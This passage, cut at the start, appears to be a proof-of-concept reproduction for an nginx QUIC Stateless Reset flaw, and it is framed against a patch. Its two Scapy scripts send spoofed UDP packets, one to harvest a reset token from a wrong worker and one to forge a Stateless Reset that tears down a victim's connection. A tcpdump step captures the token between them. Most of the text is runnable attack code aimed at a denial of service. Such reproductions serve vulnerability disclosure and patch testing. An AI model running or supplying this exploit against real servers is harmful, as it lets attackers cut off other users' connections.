SRC_IP='victim-or-attacker-ip'
NEW_SPORT=40000 # choose to steer to different worker via RSS hash
DCID=bytes.fromhex('00112233445566778899aabbccddeeff') # observed DCID
# payload must be a syntactically valid short-header 1-RTT QUIC packet for that DCID
quic_pkt = b'\x40' + DCID + b'\x00'*32
send(IP(src=SRC_IP,dst=SERVER_IP)/UDP(sport=NEW_SPORT,dport=SERVER_PORT)/Raw(load=quic_pkt), verbose=False)
PY
3) Observe that nginx responds with a QUIC Stateless Reset on that 5-tuple. Capture it with tcpdump:
sudo tcpdump -ni any udp port 443 -vv -X
The Stateless Reset contains a 16-byte token at the end of the UDP payload.
4) Use the captured token to kill the real connection: send a forged Stateless Reset to the victim's original 5-tuple (or to the peer that will accept it), with the token at the end:
python3 - <<'PY'
from scapy.all import *
SERVER_IP='1.2.3.4'
VICTIM_IP='victim-ip'
SPORT=443
DPORT=54321 # victim's UDP port used for the QUIC connection
TOKEN=bytes.fromhex('deadbeef'*4) # replace with captured 16-byte token
# QUIC Stateless Reset is an unpredictable-looking packet >= 21 bytes, token must be last 16 bytes
payload = b'\x00'*32 + TOKEN
send(IP(src=SERVER_IP,dst=VICTIM_IP)/UDP(sport=SPORT,dport=DPORT)/Raw(load=payload), verbose=False)
PY
Expected result (pre-patch): the victim QUIC stack accepts the Stateless Reset and immediately closes the connection (DoS). Post-patch: token differs per worker, so a token obtained via wrong-worker routing will not validate for the victim's actual worker-path, and the forged reset is ignored.